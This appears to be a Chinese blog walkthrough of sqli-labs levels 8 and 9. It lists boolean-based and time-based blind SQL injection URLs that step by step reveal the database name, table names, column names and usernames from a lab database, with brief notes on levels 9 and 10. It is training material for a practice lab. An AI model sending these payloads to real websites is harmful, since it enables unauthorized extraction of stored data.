sqli-labs-------第八、九关

第八关

使用方法:

  • 布尔盲注
  • 时间盲注

布尔盲注:判断页面true\false

使用函数:length,substr,count

猜测正确页面会显示You are in....

 判断数据库名长度

http://sqli.com/Less-8/?id=1' and length(database())=8--+

判断数据库名

http://sqli.com/Less-8/?id=1' and substr(database(),1,1)='s'--+

判断指定数据库中表个数

http://sqli.com/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())='4'--+

判断指定数据库中各表名长度

http://sqli.com/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6--+

判断指定数据库中各表名

http://sqli.com/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

判断指定表中列数

http://sqli.com/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=3--+

判断指定表中列名长度

http://sqli.com/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2--+

判断指定表中列名

http://sqli.com/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

得到指定列中数据

http://sqli.com/Less-8/?id=1' and substr((select username from security.users limit 0,1),1,1)='D'--+

时间盲注:判断正确页面响应时间变长

使用函数:if,sleep

判断注入类型

http://sqli.com/Less-8/?id=1' and sleep(10)--+

判断数据库名长度

http://sqli.com/Less-8/?id=1' and if(length(database())='8',sleep(10),1)--+

判断数据库名

http://sqli.com/Less-8/?id=1' and if(substr(database(),1,1)='s',sleep(10),1)--+

判断指定数据库中表个数

http://sqli.com/Less-8/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())='4',sleep(10),1)--+

判断指定数据库中各表名长度

http://sqli.com/Less-8/?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(10),1)--+

判断指定数据库中各表名

http://sqli.com/Less-8/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(10),1)--+

判断指定表中列数

http://sqli.com/Less-8/?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=3,sleep(10),1)--+

判断指定表中列名长度

http://sqli.com/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,sleep(10),1)--+

判断指定表中列名

http://sqli.com/Less-8/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(10),1)--+

得到指定列中数据

http://sqli.com/Less-8/?id=1' and if(substr((select username from security.users limit 0,1),1,1)='D',sleep(10),1)--+

第九关--------单引号时间盲注

发现不管输入什么参数值页面都不改变

猜想可能是关闭了报错,且无论语句正确与否返回的结果都是相同的
我们尝试基于时间的注入

第十关--------双引号时间盲注

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值